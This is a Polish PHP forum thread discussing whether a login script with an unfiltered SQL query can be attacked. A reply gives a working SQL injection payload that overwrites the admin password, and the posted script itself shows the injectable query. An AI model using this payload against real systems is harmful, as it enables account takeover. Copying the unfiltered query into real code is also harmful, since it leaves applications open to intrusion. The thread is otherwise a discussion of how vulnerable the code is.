Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [SQL][PHP] Ataki SQL
Xart
post
Post #1





Grupa: Zarejestrowani
Postów: 267
Pomógł: 6
Dołączył: 8.04.2013

Ostrzeżenie: (0%)
-----


Witam tak się ostatnio zastanawiam bo mam pewien niby przestarzały, banalny skrypt do logowania w którym nie ma filtrowania danych ale itak wydaje mi się że nie dałoby się zalogować na admina bez hasła (IMG:style_emoticons/default/biggrin.gif)

Wygląda on tak:

  1. <?
  2. include("config.php");
  3.  
  4. $login=$_POST['USRlogin'];
  5. $haslo=$_POST['USRhaslo'];
  6.  
  7. $wynik = mysql_query("SELECT * FROM users WHERE login='".$login."'") or die("<center>błąd w pytaniu</center>");
  8. $rekord = mysql_fetch_assoc($wynik);
  9. if(md5($haslo)==$rekord['haslo']){
  10. $log=md5("zalogowanyOKzalogowany");
  11. $news=$rekord['news'];
  12. $page=$rekord['page'];
  13. $zmiany=$rekord['zmiany'];
  14. session_register('zmiany');
  15. $user=$rekord['user'];
  16. $galeria=$rekord['galeria'];
  17. session_register('galeria');
  18. ?>
  19. <frameset cols="175px,*">
  20. <frame src="menu.php"/>
  21. <frame src="pusty.html" name='okno'/>
  22. </frameset>
  23. <?
  24. }else{
  25. header("Location: index.php");
  26. };
  27. ?>


Atak na zmiane zapytania odpada bo nic nie wniesie.
union select nic nie zrobi bo dane nie są nigdzie wyświetlane
zakomentować w kodzie nie ma zbytnio czego bo tylko pobiera użytkownika
wyświetlenia niczego też nie ma jak dokleić...
za hasło nie można podać żadnego kodu bo if(md5($haslo)==$rekord['haslo']) zakoduje go na md5

Ogólnie chyba nic się z tym nie da zrobić... Nie ma żadnego sposobu obejścia. Czyżby to if(md5($haslo)==$rekord['haslo']) było lepszym rozwiązaniem od filtrowania ITP ?
Macie jakieś pomysły na obejście tego mhm ?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
Xart
post
Post #2





Grupa: Zarejestrowani
Postów: 267
Pomógł: 6
Dołączył: 8.04.2013

Ostrzeżenie: (0%)
-----


@UP
No i myliłeś się zrobiłem test i zgodnie ze strukturą bazy wpisałem zapytanie

i wywala die czyli błąd w pytaniu...

myślę, że w postgreSQL by przeszło ale mysql nie dopuści takiego kodu

  1. mysql_query("SELECT * FROM users WHERE login='admin'; UPDATE `users` SET `haslo`='test' WHERE login='admin'")


trzeba by było zakomentować pierwszą część zapytania (IMG:style_emoticons/default/smile.gif)

Ten post edytował Xart 27.04.2014, 10:13:36
Go to the top of the page
+Quote Post
by_ikar
post
Post #3





Grupa: Zarejestrowani
Postów: 1 798
Pomógł: 307
Dołączył: 13.05.2009
Skąd: Gubin/Wrocław

Ostrzeżenie: (0%)
-----


Kod
admin' AND (UPDATE users SET haslo=md5("nowehaslo") WHERE login="admin") > '0


DIE może wywalać w momencie kiedy nazwa tabeli (uzytkownicy) jest niepoprawna, lub nazwa kolumny (haslo) jest niepoprawna (o czym wcześniej napisałem). Podmień na takie które masz u siebie w bazie danych.

http://forum.php.pl/index.php?showtopic=226103 BTW ty tak na serio?

Ten post edytował by_ikar 27.04.2014, 13:11:40
Go to the top of the page
+Quote Post

Posty w temacie


Closed TopicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 14.10.2025 - 11:33